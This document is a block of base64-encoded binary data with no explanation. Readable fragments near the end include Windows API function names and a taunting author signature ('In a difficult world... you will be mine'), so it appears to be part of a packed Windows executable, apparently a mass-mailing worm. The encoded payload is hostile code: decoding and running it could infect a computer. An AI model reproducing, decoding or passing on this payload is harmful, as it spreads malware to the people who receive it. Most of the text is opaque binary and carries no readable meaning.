2+Y12HeQYaD4AZisWlq3evzc4J5t6pLudEQOvnsBsX17P0uM/UMGLXExGctFq9W/X7Dnen2B
2OSE5NEiDnWydRLoGar25ui32y3/jvgyEUZmfyH1bjpsWwRpEe6vIWfiO4AL8tyln1W+XeLk
38pQ7sISj/hJ+yL1ks1dIl5IVigAO/DBvzolYeV32OGORl9iDh/yHw1lvkNZK4jB/6sfLmxC
AZ0oGiTukPC4VyzNN4mYf70A7B1mvjG6eP41eB71m2/2GnN6hwTaj/G+A+0apyHVENeOoKlZ
9LoNegUCMtuES678huCk2/SvmiOXLhdBZgqyGgqCWxmA+M23twie4AZsA47/hxHlDvDvS9AC
BhQR3xH1piv2zspGB0PuzkRV0Mx2di7aWfIKOXGw1hDqC+V2bH8JSHIhJaD8cYz+fD4LFrAA
Kwjcptj9mjtNQZ9sX+VWAQUt0sPuKSERnGum2imARIdsha5MDYi87NmpsoPqJSjX2u634aY/
0Gtx74J5ewAOL4npI95xpI5GrHlG5Fn8qxLwM7CwoatA8cjxJXi0hF6vQZKmvkRoAxrxKeWs
KEKfYuMLuv7+mO60dUUGy95UnZEtlgFpb/J6pJ7ENOQ0z/4s8pL0Vt8TDTgnp+k+h9ZVs+oK
Ae7shrI3Uk22bh/PuhnqusKh03EWaaz8rnsnF8JN5VUHS5VkoEQfoWkTrUUjhFACJyRaUwU6
F6V5Ijf2WECyjD6IFg9l6/TvEtTQ7HmRBv0nfRA9QJZLRZnkNirIBoteh//n2beD3Rbq5DFa
LCdVQcj+1s39cv2Sad4RDiZlyTmxgxShW+ODSa6qrTQFz4NsuYeWAvA+bG48y5bp3H+EmgaF
XPJUeAhmM1qEZ5znaMSzPspmrRJ6+3UOUmlS/2t3AZLMV25CAfkgtuM1B6TYWG27G0d17s+O
bYzzCPGI/xNEPFP6GWSwWAtYZ1husSQHCRomW0wEjWBuQh8gFBzdbB13BcH/8hmOXZp6x2BF
6LDN/g3BIcvdbncNnwySwVUaE/RCNs4JQ/7HLgfrMKsVxCQ8/zwR2f////+elZTdjtqfjJ+U
2o6Ig9rA19OH8RTzc50x7lxyH6pPTP////8fVntmh5m6yhdKMbyvgvTG5UDeAVbwoEFa26+0
UN9ahv////+cT94VRUojtWLDt1un1/7kSYUuDyVQxK1/NQ7NaZXTX/8N/v/BpUCD7TMhtvox
NaR7FEpMb4nKFslJH5b/////F39Xz8Py0NLL1udnn+g8nsCvX+vEkOsTIWQq7sBDCfb4//+l
5hbpVOm59bLplvjkovQ+8dELDX1QIzX///+lnHXpLrw5e/xwKx8pekPpgxgrypEmGmG8bxL/
//+/lMNDr6Katk7jW3SecH9StUEWOSRkbN38v9Hf6OsHKuNzyZNDbystOS55kf//f6GSnJAt
VINXIjp4Ja5Pc+u0wwbevewEOBr//y3+jBZmNUXBrs8hYFxMA/JuQJ7Cn8XevKO1/////1yx
rnxuGmvfAiIYHqZosvcbHydQS2l2aPTNFeGRMNDg/////wMkZ2U8ppWk1HbsvBxDwjLE8GxS
zmrrQfKz6HIdVV+gv8H//2nUFS6onGg1J065HThwRT542A0UKNogxf////85PWOvinAGguTz
XRMAt67wlCxvhlNJqEKBZao9hXSYtP/////pYdFGaXrsdfixTeA2CWp0PzrXW+KQ1obFrLM9
kQk8W/////+XF9HkdergvVjZzi3FGYHUxHd74F6mPjSQuH9Php2+lf//jf/e9acp6sZX94t+
ukKabp/5BwyWq8fVpU/DOP//G/01pQM77DMsyJxcVPOArio+mLtrOalhZKT/2///sMAIxH4T
vXDV9lYySEPyV6LshjCFITpFSZ2eLf////+axR5qgkP9/SfWB8XAQUSDK7x8GVw65mI0ZGRR
+TKvaP//1v8yT91nMvkemxpWfWic7v2DipG5MjVPeuvMyP+X/v+2pa5M9/1z/4E9G+lm1/PM
H9jNxj9qAxq2ov////87MfJButxb4PwhP1kfuN/lHbfBlzNu5++aGyoWNuYAwcHb//9SH40d
BcBx0+6xUb0uVlGqckNKecuT////vxHxLWcvhipmTr2ipYyGt1hguHdFtWMOFUcZKNEUr+r/
//9RVaQkHfxYsu+7BtAV99mas6lMZbSKBqY5Mzv//y/Qg6UrVQItmxfazYHgNcw+UZ+JOglS
agcj+HIDL/X5fe7gB0VufTagZs3jZnlHB8t8H9NuE9mFruMlCTgGDqWkXfUDD3akBf9YABKQ
JliYANNm+9dcAXwj0Q39Fxjyvdn5+t8jIhAGESp3/UtsCnfyesS5j+B6hKLunHkawRaAhH73
RTJ73xeGhsjyDZ6QUxnM3qbqBfd7k6Ms4gg8krL4ApniN+KDFe8CEFPvIly6usgPbhSVj+8x
v+Itz5qAhE0m0nE2twzsE3rq+1n2ilniA4ccIxvx4haqFUfi2PbdAS3fDvjN3W/UMgyvnDu3
DPIKAvv6Agpmk4LykS0cwANFjU3i1vwGbyKwLUrUBqJxJdEgesth/wtm1I/7sXOnCquoNvsK
bUjBIKPcH7A/i2YRPaN/M49CMJvk2QWFFPUU+B2QQgZkFPt3n6WW84yGQ89pfDerwAmYQUfi
i/awuPQd+rdOIBHZsIszQ09HBowm7YI3OVbtGyAWkTh7s7VTavZ8m24Wi+5MFzpbETGEPsJ8
PE3s+GokfmN0PA4ylhpzIK6+YAOWwQZWeYCxR7R2EZc3QLFBtpN/0Z73VsNuG6sLyT3sEvAZ
2wmyzahTqLUQGCIMMyrC/DYUb8fKVlJH5t7FYVasR9HRht35CtqsqO6L3LvFpBHa8B/+lj9t
C/8L6+r5AqMZ+QYJXvFQPVBtQ6hLpXE8iWzUHlLvBj/qPJIeawWv+coP85TBQ0SiLXGiIUmH
wQj/sAj9onR+nO9nDvl3oOatPODj7CMFBcJ5vp0Xxe8UBrM422aYdKl4NscG0LT8qy/d/PIE
+A28+PVSifVNpMXTrlCclgKsC7B6tBV3UwpXx2v7ltuTwxqVqhvUqlfjnEJhrNFXoH8j/IMe
f2Sy7RHTEJwn/JygnMGvCECulWpfEwUZTz50187IorGPSt9t7nXu4kA6FbL1Bl+J0tkqYdb2
CPtysYvTecfBSBIckowVHMaeMYhzvohfpBagzwzfB8WyupMzRyCiSA7IjwnktNYikPno6mS8
Ja75iCwC3iFgVLIPjx+yggibG9X3iIO0GYtwNumHkcND43hCF5ZK17AJP8/4ESzgK/n1aXef
Obt1XAgZ76yizMfIyEMX3oXKUH/4LCp7PPz5AvGxMawSte64+RLOKV0DYThmFJT7C1DiE3U/
/0JCBqxKGuntNfO9xAo1ihVyOciAvdNDgtlo+3TB8zwvBM+FjDy5xWYfJXRADEIc6TLIyQsa
C7Vo5HOPXcYS9pI3OJSxGbIBucBuUXTnJScHB/q6EPqSkxzk8pIkA+gS6JNnh+S4xgvmUfrJ
pznJFAdi+hdd6Fkv5MgXBegDCpg/Nn6+PlXJz86bp7wbL5oVOB9KApoxa4EYhzBMwYz79hMc
GwqYU+iH3BE1W4Z8Jwdn6pqpVqhBDSnKhrDupF95Dy7knesvHw+1MVnFcT3YqR5zsXoCXe26
vpzo9wzE6cblupBKBoWUgfv4vbkcv/tN50nM1nUYpKne6hNfnR47lgvq0gPqrB/6S7AB7cAr
c+AR/atx3VLwl2Kj8qNz46LEqiUpsUI4NnP55KuY1ypa8O51uf6FFFpGABONa0U73+25F+4p
WZdKWD3/xwUACRJud5C7QfAERb8NRaptbbpVhwZRIAjeFKDSED+JtP1/PwM8QxI3nbH+8TOO
mwXLdZZl2Xbsi/4FAvYO8sIM5u6EqxLHIy6UE05E2ckXv5uJfzYMVPwGj/m1hRH/1/BOGOpb
7wdr9wep+BtsEfFD0BTx9XV0KyyLmoz/vpbsr2UmzKTf8Ijw6Pc1G7Ub/t8Q/+ZyEa+GWeEa
VqJfu6/iSgigqIB3uWaAhdaFv1Cc6EMqBhg4ecEDjqx7BtxdWbqNI/SQ+XkFjxcddvUxCvv/
7b+ZcSS0tEv7B8FNiM5WxsqI/sbDjN7Guwdv3Gi+oIzmxpuAk8bUb8aljrZwC/j2xteO8vLx
8Ez9OEPAUPy5cDIRPbOHEciufU0GTEuJyQSsK83w/EoySeJG8UJ+0b/yW4bzAD0wrKBg8lsk
OPJa1Ff1sP/jyZqicwksjVH/MBMi8gRL+mGA4UETmHPc/Px2+NYKAqkC9XlZ5x57hw7q3TMs
RB1B9F57LzFxDN4GBsi6j4SjNgTiP3g4N/XqrTLRMXsD4b3wH0+keQP/jKMJCXdHbsPewm1i
Vuz9UDg1LRgIAa34Jt7xKI7DqBsm21r3xZFdoK4y3BLzsSt9gjytqGkI2SKQ+4M1QfAaBa/q
pBOuFTSnSliYRPvJkZOHGPag3PcBeU7IuDr21uohHs+u9+hgXjr53JZ7/HYVVoIvN4qbDTyW
A5Jy6QaLSm4sx6puE1z/jwo8wK1FxsaqgQIRrVn0U/0GhDiYAdV/JTuBYhGjFo874XXfM5AS
Eg/wWKqZq8yAaL/YbBMN8ep6wqFP193vgPteEQo02gzwIuiX5FqVrnitkhIH3+wTPnK2JUUz
YabZNNAE6GDhQPZH+03YY7tx8fq1KiPo9riwBbct7MtF9y0ke4HIb6j25/exor66ytmvYRiw
SpVAL6WQCMfiMgLE+xA38absAuC+KahbW9dhOMgGYOzRlgL1yvGLeOkxZMUaPP798bWXCrx3
qNacclGTnHsFFX/muwaYqCwJG+gN+MwIFsgQ3KZnqwvuJ/n2upI+YjyI9tcIrhvs0W5GNqIe
Ssz8YsQ8Or+2BRSA24pHpZ+ZKHOfoIMVZPB8f5AZDxR1T+Z4IAQHpcR+j5Kyh+s18MZoM4oj
uaPx3TaB8KSDKRxI8LagYYfQrDZvOduO3BEOEq8PnXrE3ubrgNwGi88NfPwK3shtbnFGBfJc
YrwRJdEzqvlSpaQF3gWFseryDSr08B4bANfe9MoSZxMK8xIe8xcV5pDLvu9MIwby+14dkAx8
8MFWqjv/gR8bcQsNImNDxscDfyiH+A0rGp7bIKhB/GQbdfDqHbZt/HqHG8rvPBHRSsHcgt6B
+kp4q1IzcfmONXPpCkYzu0rIBZo46SW9UvDNaEqow2pC8CahOPr+XHAw4utk2hIN83rWwEEN
WRbmb4wC5fgz6Og1xhPgo0EprA5NHaKFWs4BMo148VHNHyQc8E6oAa503noxsaH42Q3iER8S
ktlYuuc0v7tlWmKnOZLOD91YcjnS7I4EXx8ZXoIlXjzdkaehkilaP1eiuc/3jK3CH7ISYQWe
5/lKDgRLRj0oOMZj8B6Gktq0NaXyged7vZlGDasKfll3Y0BVIw1CNlZMwo3D+NMSjwXwqj41
8qK5p7YqLl1Sn4wzgzWzCmbvDHUnsjMGb/9RtfZ32dizcx39TpJrMIZSWNcyinMDqZqGIMR6
TP0Ecmh/a6JcVBfyBNqO+b0RCQi7p+1w5TwiqFrbSHLlhlCBZ9DzlhHJwwR6gaH9A7HHYIc6
HJL19awTjHoxGoynOWkLztwPGL16+tJYlHtngG8jf7rrumt5qvVMOkkVoHL48aMNi3HDwfXy
IB5NjIzNu7rSS5Tvd0djh/bN9fjwr+tubgTKiMON/9IR3B4mg14WuGVtZsYFzPsOzaf+Y/y6
tmR2GvGdkQGExkSL+4Qw9QaBFMoSLTMrpUdk5NqoQ1pDuiNLsZiwPA3ukGdkkKG01PALNuvm
xQVPsucw4bZ6D+9PlzhPhX4G2OThwyYSfvxcAjnO0swwAl88lEvkbFbPKqX8mTixC9jTIZKV
FNcdEbojeBYcce8jeTj8rMERNFSpbKi6bFgXMQER5BW22YKbKakOvl0kkJIB+W2ShGA2/4R2
NhhSK4JbbqORDRtPB2w5ycNeIOvqZYn/2AI77NL5/+sTsrOZLUWeBZoYYpD9xcySlloTmKF+
0ZoMz4pjBjwvOSyMVhz+5kaGkoMo/qaimeRhSVG9Wm4WQgYZ9noe7MxQz74/JilACmCekWe6
VcZe5UaZWl0WyyZcMMp9UfD5Fs9BvAUZEyRXXbp1INyQnU+E3s9l5ntaB2Qj+GsLO8ghboD+
YrtLZ61RAmMi7JJbiZLp+Tq2cATtPjYiDkOjfJ7n9E+GBTmPcpGlXA9Xjmsb2V4rGhAWW94I
lpFlZF/hU+hXq8RZRvNLJRjiUjioOS6YYjjwfm32gwxJOhLfVZhEtFN/EgzuAb7Wlhs7oArS
DWtwZntS8w4Iy+9swPkLhbkOd4cSQ/I+HICzTB6eHxqqe5B7gurqUxKvkYux3oifiq6eaopM
E1WYK4ZRHfX5BCHSJNKINnAt96P7UdpPoQ4jsNlt4wsEqSDyJ63/4NnBFnstzYo2GZ/tlqXQ
cAAADQoBSW4gf7D//2EgZGlmZmljdWx0IHdvcmxkFW5hbWVsZb/dXPtzcyB0aQgTHGFuIXRv
IHN1/m9/93J2aXYSU28sIHlvdRhpbGwgYmUgbWlut/bb7xUtLSBCYWc5IEF1dGhPIjI5Ybdv
7i4wNAIJR2VybUR5Ln1v/7fvagAB6I5AkKNsmUAAaA84BP81BN/tGt9wQBQhigU2bAQWsZBq
ZNr+/3cHQW7r8cnDVYvsV/91CF/rCEf2CIDtbv+XswU7fQx181/JwghCa09HABD7IN+PQUAo
aJOoDnCBBXFQHm7t/2UAAOmV/u//zP8l7GAPBShhGRkZeSQgHBgZGRkZFBAMCPIcGRkEAPxg
+DIyMjL08OjkMjIyMuCcVFgyMjIyXGBkaDIyMjJscHR4OTYyMnyAhL+IYJ7P5/OMYJBglGCY
YCz5fD5HoGCkYKhgrGDIyMjzsGC0uLzIyMjIwMTIzMnIyMjQ1NjcfD6f32GJcGFsYWhhZGHI
2OT5qGGkBZzIyMjItJSQjMjIyMiYsLisyMjIyLw4NEDhyMjIRFBITGHZZGRk5HiEfIAyMjLC
lxQQCOQ7YTIM2WAFIGRkZGQkKCwwZGRkZDQ4PEBhZmRkREhMAAIkVEEimqmi+h3D/vbfPhAE
jE/Lw8/UAcvPzNTI+gBt////qbW8rq27qL+mrpOXn/qeiIyenpaW1J+CC6bZ//+BDLWvrqq1
qa7Uv6K/+rS3u7O0Cf7/3/61qK61tKUNrr+otL+upam/ua+lydTKpc7Kzd++bc8gqrwKpWCl
w8KlJKW3v6Vrt23YyLEYDKkvtL05EPnPbgeotUW5rgypubK/vsnIdmtnP66svrcJrKgYy8wM
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
FZrqTliDX7uWLKVenlwl3K5OsJUpfByDaG6mAl+JpZScNUzdnH9mj5yAAW0ErZ16mwfFj5Nr
jtzXHZ4RiETvrMVs37OYDmupl1Ozhp9MMDR8hKUPpese1jLVWiTd3iyCNlhwjoKMC4xNk7tt
MYtAipCBjq4+c2CYrJQhiSAX5HJzb0RIu5mW1R6Pityhtk2sGI8XJDKMXcwVUrk+aI6pvF+1
ihBDF/2Wp1rAYGio72hEwRy5qfReObXaIoWkN5JwqG2xyqd3WrQCH2yD+I6qJ5c2t4+igq0D
8W8Brr+0o7GpvnFWG7UYzbuJvNNoyan/HbRGSBTr+t2+3Yjdld2K7/6FdgGf3Sqp3ZHdg920
C47d+qVNs/3215W1m0mG19Gp0QORg7T929I0n46GZbG1ldel+qEx4lLOT4imgKcdP2twtImD
akWXabCRlqnN0jVTl1IA18SvP2OvmcYKEWmnqdeR3PkW+teD17TXUI5dodCqkeGO9az6oNKL
gKOw1IXtuYGuUoPAbz76w6Kyju76GGpDW0hxig+m2rzVhNY2U40HCFw91hjM+geuJ1Kzuatg
o1vWtvpDDb42sIdtbK1qKciV+kGpJRehq4xpib7gDt1SA1czM4qDQ6o1R80AWgeMVGSOCrBZ
tNyai2EsSb1luyX6Ec8RODqJyEaDCjAKvtqE+nMBWYyKXCIACUUCCyWJA/+Xy6k0AVRQAUdl
dE1vZHVsZdgWAMtGaU6DQRNYC4D/UHJvY0FkZHKQD//st/9TeXN0ZW1EaRBjdG9yeSRUaWNr
Q2/s2xbsdW50DTxGG21hdEEPY23sn1pvbmVJbmYVaQsXV23/hP1pbmRvd3NLbG9iYWxBbAZj
